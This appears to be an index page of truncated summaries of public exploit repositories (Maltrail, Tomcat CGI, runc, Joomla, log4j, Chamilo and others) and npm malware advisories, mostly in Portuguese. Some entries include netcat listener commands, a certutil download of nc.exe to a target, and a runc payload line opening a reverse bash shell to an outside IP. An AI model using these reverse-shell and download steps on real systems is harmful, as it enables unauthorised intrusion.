Malicious code in botmaker-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86fdc86c67d202ca9938942ef7786534d1b72169187cce13b1cefd8899fa54aa On npm install, postinstall.js collects the installer's hostname, username, current working directory, architecture, platform, and network interface...

MAL-2026-17502 Malicious code in botmaker-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86fdc86c67d202ca9938942ef7786534d1b72169187cce13b1cefd8899fa54aa On npm install, postinstall.js collects the installer's hostname, username, current working directory, architecture, platform, and network interface...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE Criado por TheAlchimist cve-2023-27163-maltrail.py for reverse shell...

Malicious code in css-anchor-pos-fallback (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bd0a6c8e1448ffd9abb3732872ea3d49280a422d49524aaa57d0b89a73812f05 The package advertises itself as a CSS anchor-position polyfill but on require executes an IIFE in thunderboltRegistry.js that runs id, whoami, uname...

MAL-2026-17476 Malicious code in css-anchor-pos-fallback (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bd0a6c8e1448ffd9abb3732872ea3d49280a422d49524aaa57d0b89a73812f05 The package advertises itself as a CSS anchor-position polyfill but on require executes an IIFE in thunderboltRegistry.js that runs id, whoami, uname...

CVE-2015-8562

CVE-2015-8562 - Reverse shell python Exploit: Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header: Data da vulnerabilidade: 17/12/2015 Autor do exploit: anarc0der Versão: Joomla 1.5 a 3.4.5 CVE : CVE-2015-8562 Como usar: Abra um terminal e escute com nc: $ nc -lnvp 4444 Abra outro...

CVE-2019-0232

Exploit RCE CGI PoC para RCE não autenticado via endpoints batch CGI. Baixa o nc.exe para o alvo usando certutil e aciona uma reverse shell. Configuração 1. Sirva o nc.exe no mesmo diretório onde o nc.exe está: python3 -m http.server 80 2. Inicie seu listener: nc -lvnp 1234 3. Execute o exploit:...

CVE-2022-37706-SUID

CVE-2022-37706-SUID CVE-2022-37706-Enlightenment v0.25.3 - Escalação de privilégios ./exploit.sh CVE-2022-37706 Tentando encontrar o arquivo SUID vulnerável... Isso pode levar alguns segundos... + Binário SUID vulnerável encontrado! + Tentando obter um shell root! + Aproveite o shell root : mount...

CVE-2021-21220

Primeiro instale: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Versão do Chrome: 90.0.4403.0 Instale chrome-win.zip 1. node server.js execute ./chrome.exe --no-sandbox vá para localhost:8888 Observe que a CVE na qual este exploit se baseia é...

CVE-2019-0232_tomcat_cgi_exploit

Script de Exploit CGI do Apache Tomcat Descrição Um script em Python projetado para explorar vulnerabilidades CGI em servidores Apache Tomcat por meio da execução de uma conexão de shell reverso. Exemplo de Uso Características Exploit automatizado para vulnerabilidades CGI do Apache Tomcat...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Uso : a máquina é vulnerável ao CVE-2019-5736, siga os passos do exploit do Runc CVE-2019-5736. Baixe o arquivo main.go, altere o payload no arquivo para: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" Depois disso, execute: go build main.go...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE Abordagem Alternativa: Reverse Shell & Teste de Callback Visão Geral Este repositório contém abordagens alternativas de payload para a vulnerabilidade InvokeAI RCE CVE-2024-12029 quando a injeção de chave SSH falha. Os payloads são...

CVE-2019-0708-POC

CVE-2019-0708-POC Prova de conceito funcional para CVE-2019-0708, gera um shell remoto. Execute com python3, Exemplo python3 CVE-2019-0708-windows.py Versões diferentes são necessárias para Linux e Windows. Ofuscado por razões óbvias...

POC_react2shell_CVE-2025-55182

Exploit de RCE em React Server Components do Next.js Explora a CVE-2025-55182 para execução remota de código por meio de poluição de protótipo. Autor: Severian N.K. Descrição Esta ferramenta explora uma vulnerabilidade de poluição de protótipo em aplicações Next.js que utilizam React Server...

needrestart-privesc-cve-2024-48990

Escalação de Privilégios no needrestart CVE-2024-48990 Este repositório contém um exploit mínimo de escalação local de privilégios que visa uma vulnerabilidade no needrestart CVE-2024-48990. A vulnerabilidade permite a execução arbitrária de código Perl como root ao abusar da opção de configuraçã...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc हाल ही में पाई गई CVE-2021-44228 भेद्यता के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट। हाल ही में log4j में एक नई भेद्यता पाई गई, जो एक जावा लॉगिंग लाइब्रेरी है जिसका व्यापक रूप से elasticsearch, minecraft और कई अन्य में उपयोग किया जाता है। इस रिपॉजिटरी में एक उदाहरण भेद्य अनुप्रयोग और इसका...

htb-sau-exploit-chain

Cadeia de Exploração HTB Sau — CVE-2023-27163 SSRF + Automação de RCE no Maltrail Um script de exploit em Python que combina a CVE-2023-27163 Server-Side Request Forgery no Request Baskets ≤ 1.2.1 com uma vulnerabilidade de Remote Code Execution não autenticada no Maltrail 0.53, entregando um...

humane-aipin-ghostlock

GhostLock for Humane AI Pin GhostLock for Humane AI Pin is an open-source, boot-scoped root proof of concept for one exact retail firmware build. It exercises CVE-2026-43499, a Linux rtmutex use-after-free, from an ordinary authorized ADB shell. The runner is deliberately narrow. It checks the...

CVE-2023-422-Chamilo-LMS-RCE

Pré-requisitos pip install requests Informações O script python usa a vulnerabilidade CVE-2023-422 para enviar um arquivo para o servidor e usa esse arquivo para enviar um reverse shell para o listener netcat e tudo isso pode ser feito sem estar autenticado. No entanto, você precisará seguir os...

CVE-2023-27163-AND-Mailtrail-v0.53

Exploit Automático Resumo O exploit a seguir abusa da vulnerabilidade SSRF do Requests Baskets v1.2.1 para encaminhar a aplicação interna em execução em 127.0.0.1:80 para a aplicação externa em /pwned. Depois que a aplicação Mailtrail v0.53 for encaminhada, ela executará um comando de reverse she...